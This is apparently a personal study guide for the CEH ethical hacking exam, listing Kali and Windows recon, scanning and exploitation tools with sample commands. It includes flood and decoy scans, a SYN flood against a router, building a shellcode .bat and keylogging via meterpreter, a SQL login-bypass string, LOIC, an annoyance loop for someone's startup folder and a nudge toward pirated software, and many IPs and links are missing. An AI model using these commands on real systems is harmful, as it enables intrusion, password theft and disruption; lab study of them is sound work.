Blue Flower

Let's go and learn some tips about White Hacking, interesting ah? :)

This is a summary of what I've included on this article, topics are chosen at random but they are all relevant to the exam CEH if you wanna take it. With the resources at EC-Council, either create your own lab (recommended, using VMware Workstation) or use the 

  • Useful extensions for your browser
  • Google your "friend"
  • Tools for Website recon
  • Tools for email recon
  • Goodies for your Kali
    • Network Scanning Practices in Kali
    • Telnet practices in Kali
    • Scapy
    • Vulnerability Scanner
    • IPv6 in Kali
    • Matasploit
  • Goodies for your Windows OS
    • NetBios suffiex
    • SNMP enumaration
    • process Monitor and Registry utilities
  • Theory
  • Miscellaneous


Useful extensions for your browser

Install the Firebug Lite on the Chrome browser ( and see if the websites that you visit have any vulnerabilities


  • Metasploitable; download this VM for your testing lab from here: The default logon details are:
    • msfadmin
    • mfsadmin
  • Most companies are running IPv6, which comes enable by default on Microsoft OS and most distros, and they don't even know it. Analying/Exploring a network through IPv6 is becoming popular


Google your "friend"

When browsing to be dodgy, use the "incognito mode" built in Chrome (while in the browser, press Crtl+Shift+N). To customise your google results use:

  • Search for "cars -honda -renault" will display results without any "honda" or "renault" strings entries
  • Search for "cars -honda "manual" will display results with a "manual" string but without any "honda" string
  • In visit Settings > Advanced Search and customise your settings in there

Explore the Google Advance Search Operators and get familiar with it:

Explore to access the Google Hacking Database (GHDB) to search for specific google searches that queries well-known vulnerabilities in databases

Visit and setup your string alerts in there (for example "hack"), and you'll receive e-mail from what's happening on the web regarding your alert string. This is the best way of getting your news personalised! :)


Tools for Website recon

There are a few tools for you to gather some info of website you want to protect/target


Tools for Email recon (reconnaissance)

As you well know (or should know) SMTP (Simple Mail Transfer Protocol) uses POP3 tcp/110 or tcp/995 (encrypted), IMAP tcp/143 or tcp/993 (encrypted) and SMTP tcp/25. Use the below command on your Kali to connect to a SMTP server, as if you can connect you can use SMTP Commands to actually send an e-mail

telnet 25
   MAIL FROM: This email address is being protected from spambots. You need JavaScript enabled to view it.
  • smtp-user-enum ;launch in your Kali to test if the SMTP server functions as a tarpit server 
  • Download the official email tracker pro, then paste the header of the e-mail on the "Trace Header" button, and see the trace happening



Goodies for your Kali

If you haven't got it on your Kali VM, do apt-get install httrack as well as webhttrack; this tool will download and offline copy of whichever site you like. If you are using a wintel station, you can get the binaries here:

Use the metagoofil tool on your Kali VM to download public files from the target website, like pdf, docs, etc, do apt-get install metagoofil if you haven't go it

metagoofil -d -t pdf -l 200 -n 50 -o domainFiles -f Results.html

The above will download PDF files from "" and put them on a folder caleld domainFiles

Use the whois tool on your Kali for website recon, as well as a visit to

Using you Kali VM, fireup nslookup in interactive mode and type  "set type=mx" then the target site, for a list of DNS records visit this link:

Network Scanning Practices in Kali

Use zenmap for an intense GUI scanner, type this (including the O) in the command line to forcing the discovery of operating systems of a target nmap -T4 -A -v -O ;using Zenmap you can create new profiles and select the different settings or scripts you want to use for your scan

1) Open nmap on your Kali system and issue this command to scan your local subnet:

nmap -sn
nmap -O
  :the above with "O" will try to search the OS of the target

Typically, you'd use a chain of encrypted proxy servers (A to B to C, etc) to launch this type of scanning so that you're not directly detected as you'd hide your source IP address

2) Open Wireshark and start capturing traffic, then issue this command to send traffic to the target host

nmap -sX

Filter the results with the IP of your Kali (e.g. "ip.addr== and you'll see the TCP flags SYN requests,  SYN ACk ,FIN and URG

3) idle Scan (stealthy) This works as follows:

  1. From you IP (.18) you sent a TCP SYN/ACK to a zombie host (not the intended target) with let's say IP .216
  2. The zombie replays to you with RST 339, which will include the Fragment ID of the zombie
  3. With this Fragment ID, we initiate a TCP SYN for the target IP .212
  4. The target obviously will respond to the zombie, but we observe the conversation to see if any ports are open

In practice this works like this:

nmap -sn
 ;to find out what is up
nmap -Pn -sI
 ;use the "I" for idle scan from zombie (216) to target 9212)
nmap -Pn -sI -p50-200 --packet-trace
 ;same as above but will scan for ports 50 to 200 only, and will display the live interaction
nmap --top-ports 20
 ;it tells you the 20 first most popular ports that are likely to be opened, if you use the "-F" switch it will means the first 100 most popular ports
nmap -sS -D,
  ;switch -D for decoy, the above will start the scan from your Kali's IP as well as from 1.15 and 1.25, hence confusing the admin network
nmap --iflist
  ;list your net interfaces
nmap -A -T4
  ;switch -A for All

nmap scripting, ;be careful when using scripts, as they might bring down a remote device; to find out the group of scripts you have with nmap go ahead and run namp --script-help discovery ;note that the group "safe" doesn't necessarily means that those scripts are safe to run! 

nmap --script=default
nmap -sC 
  ;both scripts are the saem
nmap --script "safe or default"
  ;will run scripts in both groups 'safe' and 'default'

Telnet practices in Kali

Once you know port known-well-port (KWP) 80 is open on a computer, you can use telnet to get further info using this:

telnet 80
 ;the result "Escape character is ']'" means you are connected
GET / HTTP/1.0
 ;the GET command which show you the version of Apache/IIS running

The command nc (for ncap) would do the same as Telnet


Based in python, scapy is a packet manipulation tool that allows you to capture, create, play and reply any type of packages that you need, craft your own packet-chap and let it ask the target server until you find a vulnerability. There so many possibilities with Scapy, such a powerful tool it is, and to take the most of it you need to learn Python, but here there are some commands:

Declare your variables in Scapy
>>> L2=Ether()
>>> L3=IP()
>>> L4=TCP()

To see the Scapy default values for Ether, IP and TCP use:

Set the L3 variable to your specified values
>>> L3=IP(ttl=99, dst="")

>>> SEND=SENDP(L2/L3/L4) ;this will send the packet
>>> sniff(iface="eth0", prn=lambda ;sniff the traffic in your kali
>>> sniff(filet="host", count=5)

Passive sniffing ;this is sniffing the traffic in a hub, as no matter which port you connect you get all the traffic

Active sniffing ;this is sniffing in a switch, and actively configure your port to sniff on another port for the desired traffic to be captured

The tools snort can be used too to sniff

Using apt-get install a package called dsniff, which includes a tool called macoff that is use to flood the CAM table of a switch's port, sending real mac-addresses to all ports (just like a hub) and allow it you to sniff it. To shield from this attack you can configure switchport-policies in your switch, for example configuring the switchport port-security maximum 5 ,thus limiting the number of mac-address that the switch learns for that particular port; add too the switchport port-security violation shutdown so the port goes dead when mac-address number 6 is detected (use "restrict" to only get notifications when a violation occurs). To overflow the switch, use this command on the port where the kali box is connected

macof -i eth0

Hping3 ;if icmp are blocked, you can use hping3 ;this program is also make in python you can interact with it by entering hping3 (Crtl+D to exit)

hping3 -S -p 80 -c 5
  ;send TCP Sync to port 8 for count of 5 times, the result is similar to ping but no ICMP packets involved :)
hping3 -1 192.168.1.x --rand-dest -I eth0
hping3 -8 50-56 -S
hping3 -S -a -p 22 --flood
  ;the above flood the ssh port for device .1 (router) using the decoy at .23
  ;if this attack is run over a Cisco device, use to verify:
       "show control-panel host open-ports" 
       "show processes cpu sorted"

hping3 -S -p 80 -T --ttl 13 --tr-keep-ttl -n

The above uses -T (for traceroute), with no name resolution (-n) for hope 13 only and keep it looping, see if hope 13 changes its IP address, meaning that is part of a load balancer or not 

Vulnerability Scanner

Go and get the free version of Nessus from Tenable and install it on your Kali ; you'd be able to scan up to 16 IP addresses for vulnerabilities free of charge

Download a 15-day trial of SolarWinds Network Topology Mapper (NPM) to have a better inside of how the systems are interconnected  Just note that Xen Map (in your Kali, called ZenMap) can also create a topology map for you free of charge :)

IPv6 in Kali

If not configured, add an IPv6 address  ifconfig eth0 add 2001:ab8:1783:1::2/64


This great tool can be used for many things, let's explore a few. To open it go to Applications > Exploitations Tools > Metasploit

search snmp  ;see what available in regards to snmp
use auxiliary/scanner/snmp/snmp_enum  ;config metasploit to use this module
show options ;shows you the module settings you're using
set RHOSTS   ;sets the variable RHOSTS to the target IP address
run  ;sent the "attack"


ntpdate ;get it on your Kali to launch queries against targets using udp/123 for NTP

apt-get install ntpdate

setoolkit ;use it to create payloads and trojan, launch it in your Kali and use option 1 (Social Engineering Attack) > 9 (Powershell Attack Vectors) > 1 (Powershell Alphanumeric Shellcode Injector) to create a .bat file that you can run on a Windows test computer to infect it. Once the machine is infected open metasploit an use these commands:

To use in metasploit
 show sessions  ;shows infected PCs reporting to Kali
 sessions -i 10 ;interacts with session 10
 meterpreter> help ;type help for a suite of handy commands
 meterpreter> keyscan_start ;start scanning for key strokes in the affected machine
 meterpreter> keyscan_dump  ;shows you the keys -passwords- that have been entered

md5sum ;this runs a checksum on whichever file you want to install, thus ensuring (by comparing the output has with the publicly advertised vendor one) then we have data integrity

SNORT ;Network Intrusion Detection Prevention (IPS) and Network Detection System (IDS) can be explored by using the snort software, get it here: Create an account with them if you don't have it already, and install the tool in you Kali



Goodies for your Windows OS

Download ID Server from here to find out what type of webserver (IIS, apache, etc) a particular site is running

NetBios suffixes

Using nmap -O you can discover whether a target has port tcp/139 netbios-ssn open, if it does you can use the nbtstat command within Windows OS to discover the mac address of the target machine, together with the Netbios suffixes, that will help you identify which services the remote target Windows OS is running 

nbtstat -A
net view \\

Download the nbtenum (netbios enumeration) binary from here: and go ahead and scan your subnet

SNMP Enumeration

Get it in your head: SNMP versions 1 and 2 are insecure as they always send the password in clear text, so just by sniffing the traffic you'd be able to know the community password. Switch to v3 right now and stop using ACLs to "protect" v1/2, they traffic is never encrypted unlike version 3 which is encrypted.

Download the snmputil.exe tool from here: and see here how Microsoft advise you to use it: 

Another good one is SNScan from Foundstone (now McAfee), search the web and "download" from a bay like and old pirate it if you can find it, be careful though and ensure you don't drink too much rum! :) 

Solarwinds can also do the same job of scanning SNMP devices on your network

jexplorer ;for LDAP enumeration against an AD udp/389, download this tool and logon to the target domain with a simple user account, you'll see that all of the OUs and Accounts in the target domain are populated in the search result

Get "Sigverrif FCIV" to check file and system integrity; on Windows 10 you can run sfc /scannow (sfc = System File Checker)

Process Monitor and Registry utilities

Download process monitor and other chaps from here:  

Download the jv16 Power Tools from here:  

Download Driver View from here:

Download Windows Service Manager from sysprogs from here: 

Download Security Autorun from ,you can check your register and startup item for malicious entries 

Download Hex-Rays (evaluation) to scan files for viruses or trojans: 

Download OllyDbg to scan files for infestations and debug them: 

Visit Virus Total to scan a file or website for viruses:  

Cylance: good and recommended antivirus protection, but a nightmare to use yet along requesting the download! 


InfoSec concepts of security in regards to the data are Confidentiality, Integrity and Availability (C.I.A.)

APT (Advanced Persistent Threats), are very sophisticated form of code like the Stuxnet Worm

There are 5 basic phases in hacking:

  1. Reconnaissance; gathering information about the target before the attack. It could be passive reconnaissance if you google the company, research it, etc, while active reconnaissance is when you make calls to gather info, infiltrate in physically as a visitor to see their systems, etc
  2. Scanning; vulnerability and port scanning to gather more technical information about their devices
  3. Gaining Access; once you're in on a device, try to escalate your privileges to get additional access
    1. Escalating privileges; the step to raise your access higher
  4. Maintaining the Access ;ensure you have the same access when you return, this can be achieved by a rootkit, trojan, backdoor installation, etc
    1. Executing Applications ;that's the whole idea behind the hacking anyway
  5. Clearing Tracks; clear logs, activities and events that may disclose that you were on the network
    1. Hiding Files, of course delete

Steganography ;the process of hidden your message within another message

Getting information from a user is a lot easier than breaking into a system

Trojan ;a piece of software installed on a computer that check for a specific patter, like "credit card", and send the details to a hacker using http, ftp or other protocols. With HTTP RAT (Remote Access Tool) you can actually create an executable that will install the other executable (trojan) that you like, in this case the "http rat" that will list the whole of your pc under http://yourIPaddress, scary how easy it is!

Proxy changing; the process by which hackers connect 1,2,3,4, or more proxies to hide its real source IP address in an attack. On your Windows lab machine install Proxy Workbench, if you can't find it see similar sites here:

Also on your lab, download Proxy Switcher from here:  and use it to hide your IP address, worth paying for this application just to browse the web in total anonymity. Remember! Do all this stuff only in your lab-controlled-by-you-only environment!

Shellshock ;a vulnerability found in 2014 in Linux servers running Apache with CGI (Common Gateway Interface), this is a bug in the bash shell that allows remote code to be executed 

bash --version  ;discover what bash version you're running
nmap -sV -p- --script http-shellshock
  ;the above will attack the .120 in search of the Shellshock vulnerability

To test the shellshock vulnerability, you can download the CVE-2014-6271 iso file from Pentesterlab, a very good site to have on your side:

The risk will always be there, but we can mitigate by appropiate training (yes, I'm talking about Social Engineering); check out your handling procedures for regular training. If an external company calls requesting information... just say NO! Have separation (and rotation) of duties in place, to prevent a single individual from destroying or tampering with the data. C&C is for Command & Control

Low Orbit Ion Cannon ;download LOIC from here to run test of DoS (denial of service) but obviously use it only for your internal network, otherwise .. jail time! oh dear (by the way, I love the "IMMA CHARGIN MAH LAZER" button, haha

To prevent against DoS attack, first of all you need to PLAN AHEAD. In addition, logon to your Cisco account and go through this wonderful document: 

OWASP (Open Web Appliatoin Security Project is an organisation that identifies risk on the Internet, they have a popular Risk Assessment Calculator here: Every few months they publish the Top 10 number of vulnerabilities in the Internet, just search for "OWAS Top 10" for the relevant year that you want. Download as well the OWASP Broken Web Application virtual machine from here  ,that includes the vulnerabilites at the time of download, just remember to check the Network Configuration settting of the newly imported VM and attached to your lab, never to the production network as it contains lots of vulnerabilities that can be attacked and therefore host dangeours files. Once you have the VM running, execute a SQL injector attack by entering this string in the username field (note there is a blank space after the double dashes):

' 'a' = 'a' -- 

Classification of True Positive vs False Negative:

Honeypot ;device or devices that are looking attractive and are left to be hacked, so we know when the actual hacker has bite the bit. To practice with honeypots, you can download an academic version of HoneyBot from here:  Other resources for HoneyPots are "githut honeypot" and "dionaea hoenypot" searches in Google as well as , and 




Backtrack is the name Kali used to have back in 2013

To annoy somebody's computer, created this batch file (.bat) and place it on the start up items, it will loop endlessly! 

@echo off
goto :LoopStart

Try to use "TeraBIT Virus Maker" to test a create a virus, but we careful to download a free-virus version!

WordPress Hacking ;download the VM for WordPress from here and then run these commands on your Kali in your lab to test the hacking:

wpscan #wordpress scan ;use Monster for an insight of the network system if the company if hiring for someone to get the good guy for WMware workstation 

Google Hacking Database can be explored at

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